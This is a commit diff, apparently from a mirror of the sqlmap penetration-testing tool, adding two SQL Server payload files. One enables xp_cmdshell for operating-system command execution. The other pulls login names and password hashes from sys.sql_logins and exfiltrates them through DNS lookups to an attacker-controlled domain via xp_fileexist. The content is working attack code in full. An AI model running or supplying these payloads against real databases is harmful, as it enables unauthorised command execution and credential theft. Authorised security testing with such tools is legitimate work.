mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2025-12-24 08:29:07 +00:00
minor update and refactoring
This commit is contained in:
6
procs/mssqlserver/configure_xp_cmdshell.txt
Normal file
6
procs/mssqlserver/configure_xp_cmdshell.txt
Normal file
@@ -0,0 +1,6 @@
|
||||
EXEC master..sp_configure 'show advanced options', 1;
|
||||
RECONFIGURE WITH OVERRIDE;
|
||||
EXEC master..sp_configure 'xp_cmdshell', %ENABLE%;
|
||||
RECONFIGURE WITH OVERRIDE;
|
||||
EXEC sp_configure 'show advanced options', 0;
|
||||
RECONFIGURE WITH OVERRIDE;
|
||||
5
procs/mssqlserver/dns_request.txt
Normal file
5
procs/mssqlserver/dns_request.txt
Normal file
@@ -0,0 +1,5 @@
|
||||
# Reference: http://www.defcon.org/images/defcon-15/dc15-presentations/dc-15-karlsson.pdf
|
||||
|
||||
DECLARE @host varchar(1024);
|
||||
SELECT @host = name + '-' + master.sys.fn_varbintohexstr(password_hash) + '.%DOMAIN%' FROM sys.sql_logins;
|
||||
EXEC('xp_fileexist "\' + @host + 'c$boot.ini"');
|
||||
Reference in New Issue
Block a user